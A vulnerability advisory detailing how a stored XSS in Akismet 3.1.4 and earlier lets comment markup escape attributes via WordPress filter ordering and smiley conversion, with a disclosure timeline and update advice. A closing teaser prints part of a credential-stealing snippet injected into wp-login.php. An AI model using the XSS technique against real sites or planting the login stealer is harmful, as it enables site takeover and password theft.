Security Advisory: Stored XSS in Akismet WordPress Plugin

Security Risk: Dangerous

Exploitation Level: Easy/Remote

DREAD Score: 9/10

Vulnerability: Stored XSS

Patched Version: 3.1.5

During a routine audit for our WAF, we discovered a critical stored XSS vulnerability affecting Akismet, a popular WordPress plugin deployed by millions of installs.

Vulnerability Disclosure Timeline:

  • October 2nd, 2015 – Bug discovered, initial report to Automattic security team
  • October 5th, 2015 – Automattic security team acks receipt of report, sets patch date for October 13th
  • October 13th, 2015 – Patch made public with the release of Akismet 3.1.5
  • October 14th, 2015 – Sucuri Public Disclosure of Vulnerability (After auto-updates from Automattic team)

Are you at risk?

This vulnerability affects everyone using Akismet version 3.1.4 and lower and have the WordPress “Convert emoticons like 🙂 and 😛 to graphics on display” option enabled which is the case by default on any new WordPress installation. The issue can be found in the way Akismet deals with hyperlinks present inside the website’s comments, which could allow an unauthenticated attacker with good knowledge of WordPress internals to insert malicious scripts in the Comment section of the administration panel. Doing this could lead to multiple exploitation scenarios using XSS in Akismet, including a full site compromise.

Technical Details

We started investigating this plugin after noticing the following snippets:

Sucuri-Akismet-XSS-v1

Sucuri-Akismet-XSS-v2

 

The text_add_link_class method is hooked to the comment_text WordPress filter, which is applied when displaying a user-provided comment inside the administration panel’s Comment section. The regular expression matches any <a> tags that contains a double-quoted href attribute and execute a callback method to modify the tag’s content. We found it interesting that it would only match a double-quoted href attribute because normally single quotes are allowed too. This led us to think about what type of bugs this behavior could produce. As part of our tests, we tried passing this payload:

Sucuri-Akismet-XSS-v3

 

Our objective here was to cause the double-quoted href to grab ‘>Test<abbr title=’ and put it in the title attribute of the initial preg_replace’s <span> tag. However, this is what it responded:

Sucuri-Akismet-XSS-v4

 

Interestingly, it appears our trick worked, but the double-quoted href stopped grabbing content too early when meeting the rel=” nofollow” attribute, which was apparently appended there by some other filter running before Akismet’s preg_replace. We needed to find where this snippet was located and what it did, in order to prevent this concatenation from happening.

Sucuri-Akismet-XSS-v5

 

We quickly found the culprit was the wp_rel_nofollow function. It used a regex that contained a lazy capturing group based on the dot character, which doesn’t match line break characters, so we could prevent the new attribute from being appended to our payload easily by inserting a newline character like this:

Sucuri-Akismet-XSS-v6

 

Which once in the administration panel, gave the following result:

Sucuri-Akismet-XSS-v7

 

This showed we could insert less-than and greater-than symbols inside the <span>‘s title attribute, something that WordPress’ wp_kses function doesn’t allow normally (meaning we somehow bypassed some of wp_kses’ restrictions using this bug). While this clearly indicated we made some progress, there was still a long way to go to get a full blown stored XSS.

One of the challenges we had was to find a way to get out of the double-quote sequence to insert new event handlers like onmouseover or onclick in order to demonstrate the possibility of executing malicious scripts in there. That’s when we had a look at what other filters were running when grabbing the content of a comment.

Sucuri-Akismet-XSS-v8

 

For those not familiar with WordPress filters, they are used by plugins to modify a certain values by passing them to custom hooked functions. As you can see, some of the call to add_filter above contains a third numeric argument: this is the priority parameter (note: when it’s not there, the default value of ’10’ is automatically used). It is there to specify the order in which each function should be executed when running the filter.

In this case, we could see that the force_balance_tags, convert_smilies and wpautop functions were hooked after Akismet’s  text_add_link_class (it is set to the default, 10). From these three, convert_smilies was the one we needed:

Sucuri-Akismet-XSS-v9

 

Quickly explained, this function does the following:

  1. Split the comment by separators matching this regex: ‘/<(.*)>/U’ (basically, a separator here would be anything starting with a less-than symbol and ending with a greater-than symbol, like an HTML tag)
  2. For each chunk of text we have split, check if we’re inside an ‘ignore block‘ like <code> or <pre> – places you usually don’t want smilies to be generated.
  3. If we’re not in such a block, check if there is some smilies in the text using the regular expression contained in $wp_smiliessearch and send the matching smiley to the translate_smiley function, where it’ll be replaced with an <img> tag.

So, what could possibly go wrong with this approach? Yes, some of you will have noticed, we managed to insert both a less-than and greater-than symbols inside an HTML tag earlier:

Sucuri-Akismet-XSS-v10

 

This implies that if we add a valid smiley just before the <abbr> tag, it should get generated inside the <span> title attribute and break the double-quote sequence. We quickly prepared the following test payload to ensure our new theory was right:

Sucuri-Akismet-XSS-v11

 

Which resulted in this very interesting output:
<span title="'> <img src="http://vulnerablesite.com/wp-includes/images/smilies/simple-smile.png" alt=":-)" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <abbr title='" class="comment-link"><a href='
href="'> :-) <abbr title='" ' class="comment-link">x</abbr></a></abbr></span>

As you can see from the blue part, our new <img> tag broke the <span>‘s title attribute and inserted new parameters, exactly as we planned! One after effect of this, which wasn’t in our plan initially, was that it also closed the tag, injecting whatever followed our smiley into the DOM. In other words, the snippet that was put in the title attribute, <abbr title=’,  now acted as a complete tag, which changes how the browser interprets the rest of the tag’s content:

Sucuri-Akismet-XSS-v12

 

Notice how the hyperlink tag disappeared? How is it that some of it’s attributes are now part of the <abbr> tag? Let’s break the output into pieces to get a better view of what really happened:

First, <abbr title=’ is injected into the DOM, which starts a new abbr tag.

<abbr title='" class="comment-link"><a href='
href="'> :-) <abbr title='" ' class="comment-link">x</abbr></a>

As you may also notice, it’s title attribute is truncated just after an opening single-quote, which means everything after that is gonna be part of the title attribute, until another single quote is met.

<abbr title='" class="comment-link"><a href='
href="'> :-) <abbr title='" ' class="comment-link">x</abbr></a>

What happened here is that the closest single quote is located inside our payload’s <a> tag. More specifically, it is the first single quote of our hyperlink’s single-quoted href attribute.

<abbr title='" class="comment-link"><a href='
href="'> :-) <abbr title='" ' class="comment-link">x</abbr></a>

And our second nested href, the double-quoted one, is appended as a new attribute.

Using this discovery, all we had to do was to repeat the same steps, but add other attributes to the new <abbr> tag by writing these inside our hyperlink’s single-quoted href attribute.

Which worked just as expected:

Sucuri-Akismet-XSS-v13

 

Of course, other attributes could still be added to make the payload easier to trigger (adding a style attribute that resizes the <abbr> tag so it covers the whole page to ensure the administrator eventually moves his mouse over it, for example).

From this point, the attacker has a full blown stored XSS in Akismet to use as an attack vector and compromise the security of this website’s users even further, something you definitely don’t want to see happen.

Update as Soon as Possible

If you’re using a vulnerable version of this plugin, update as soon as possible! In the event where you can not do this, we strongly recommend leveraging our Website Firewall or equivalent technology to get it patched virtually.

7 comments
  1. The article mentions bypassing wp_kses with this bug. Just to clarify, that was because the wp_kses filter will run before the function in Akismet, even though they both have the same priority, because wp_kses() is registered first.

  2. It certainly would prevent our sample exploit from working, but I wouldn’t count on it to protect my site. We found it was possible using WP emoticons conversion functionalities, but there may be other ways to achieve the same result.. Updating the plugin still remains the best option.

  3. I believe I had a network of sites slammed by this vulnerability across my hosting. It got through a single unused site’s un-updated plugins.

    Just another reason to keep EVERY site you own on an account updated, even if you aren’t using it. And if you’re not using it… you should probably delete it.

Comments are closed.

You May Also Like

Simple WP login stealer

We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \ } // End of login_header() $username_password=$_POST[‘log’].”—-xxxxx—-“.$_POST[‘pwd’].”ip:”.$_SERVER[‘REMOTE_ADDR’].$time = time().”\r\n”; $hellowp=fopen(‘./wp-content/uploads/2018/07/[redacted].jpg’,’a+’); $write=fwrite($hellowp,$username_password,$time);…
Read the Post